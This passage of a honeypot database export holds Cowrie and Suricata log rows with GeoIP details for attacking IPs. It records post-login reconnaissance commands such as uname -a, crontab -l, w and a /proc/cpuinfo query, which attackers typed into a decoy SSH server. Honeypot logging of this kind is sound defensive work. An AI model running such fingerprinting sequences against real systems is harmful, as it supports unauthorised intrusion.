"192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33013	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:06.636853+03	2021-09-20 15:00:04.207722+03	{"_id": "cwYOA3wBvYTbRNuEY02o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:06.636853Z", "@timestamp": "2021-09-20T11:54:06.636Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33014	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:06.637387+03	2021-09-20 15:00:04.208722+03	{"_id": "dQYOA3wBvYTbRNuEY02o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:06.637387Z", "@timestamp": "2021-09-20T11:54:06.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33015	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:06.807538+03	2021-09-20 15:00:04.209722+03	{"_id": "dgYOA3wBvYTbRNuEY02o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "189.50.42.214", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.46946001052856445, "duplicate": true, "timestamp": "2021-09-20T11:54:06.807538Z", "@timestamp": "2021-09-20T11:54:06.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33016	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:06.847957+03	2021-09-20 15:00:04.210722+03	{"_id": "dwYOA3wBvYTbRNuEY02o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "91.231.219.157", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21118497848510742, "duplicate": true, "timestamp": "2021-09-20T11:54:06.847957Z", "@timestamp": "2021-09-20T11:54:06.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33017	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:06.219711+03	2021-09-20 15:00:04.211723+03	{"_id": "bgYOA3wBvYTbRNuEY02o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:06.219711Z", "@timestamp": "2021-09-20T11:54:06.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33018	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:06.220275+03	2021-09-20 15:00:04.213721+03	{"_id": "cQYOA3wBvYTbRNuEY02o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:06.220275Z", "@timestamp": "2021-09-20T11:54:06.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33019	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:06.338159+03	2021-09-20 15:00:04.214722+03	{"_id": "dAYOA3wBvYTbRNuEY02o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:06.338159Z", "@timestamp": "2021-09-20T11:54:06.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33020	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:08.01779+03	2021-09-20 15:00:04.215722+03	{"_id": "eAYOA3wBvYTbRNuEZ02R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:08.017790Z", "@timestamp": "2021-09-20T11:54:08.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33021	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:08.018326+03	2021-09-20 15:00:04.217721+03	{"_id": "eQYOA3wBvYTbRNuEZ02R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:08.018326Z", "@timestamp": "2021-09-20T11:54:08.018Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33022	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:07.077108+03	2021-09-20 15:00:04.218722+03	{"_id": "gwYOA3wBvYTbRNuEZ02S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:07.077108Z", "@timestamp": "2021-09-20T11:54:07.077Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33023	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:07.195702+03	2021-09-20 15:00:04.219722+03	{"_id": "hAYOA3wBvYTbRNuEZ02S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:07.195702Z", "@timestamp": "2021-09-20T11:54:07.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33024	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:07.66411+03	2021-09-20 15:00:04.221723+03	{"_id": "fgYOA3wBvYTbRNuEZ02S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "189.50.42.214", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.46844983100891113, "duplicate": true, "timestamp": "2021-09-20T11:54:07.664110Z", "@timestamp": "2021-09-20T11:54:07.664Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33025	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:07.303606+03	2021-09-20 15:00:04.222722+03	{"_id": "ewYOA3wBvYTbRNuEZ02S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "91.231.219.157", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.22716140747070312, "duplicate": true, "timestamp": "2021-09-20T11:54:07.303606Z", "@timestamp": "2021-09-20T11:54:07.303Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33026	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:07.936332+03	2021-09-20 15:00:04.223722+03	{"_id": "gAYOA3wBvYTbRNuEZ02S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:07.936332Z", "@timestamp": "2021-09-20T11:54:07.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33027	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:07.936874+03	2021-09-20 15:00:04.224722+03	{"_id": "gQYOA3wBvYTbRNuEZ02S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:07.936874Z", "@timestamp": "2021-09-20T11:54:07.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33028	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:08.401669+03	2021-09-20 15:00:04.225723+03	{"_id": "igYOA3wBvYTbRNuEa017", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:08.401669Z", "@timestamp": "2021-09-20T11:54:08.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33029	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:08.845327+03	2021-09-20 15:00:04.227722+03	{"_id": "iAYOA3wBvYTbRNuEa017", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:08.845327Z", "@timestamp": "2021-09-20T11:54:08.845Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33030	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:08.149016+03	2021-09-20 15:00:04.228722+03	{"_id": "hwYOA3wBvYTbRNuEa016", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "91.231.219.157", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.2127528190612793, "duplicate": true, "timestamp": "2021-09-20T11:54:08.149016Z", "@timestamp": "2021-09-20T11:54:08.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33031	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:09.398118+03	2021-09-20 15:00:04.230721+03	{"_id": "lAYOA3wBvYTbRNuEb01k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:09.398118Z", "@timestamp": "2021-09-20T11:54:09.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33032	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:09.398664+03	2021-09-20 15:00:04.231723+03	{"_id": "lQYOA3wBvYTbRNuEb01k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:09.398664Z", "@timestamp": "2021-09-20T11:54:09.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33033	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:09.833017+03	2021-09-20 15:00:04.232722+03	{"_id": "lgYOA3wBvYTbRNuEb01k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:09.833017Z", "@timestamp": "2021-09-20T11:54:09.833Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33034	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:54:14.510493+03	2021-09-20 15:00:04.233758+03	{"_id": "4gYOA3wBvYTbRNuEhE1U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:54:13.905675+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 334741000016331, "payload": 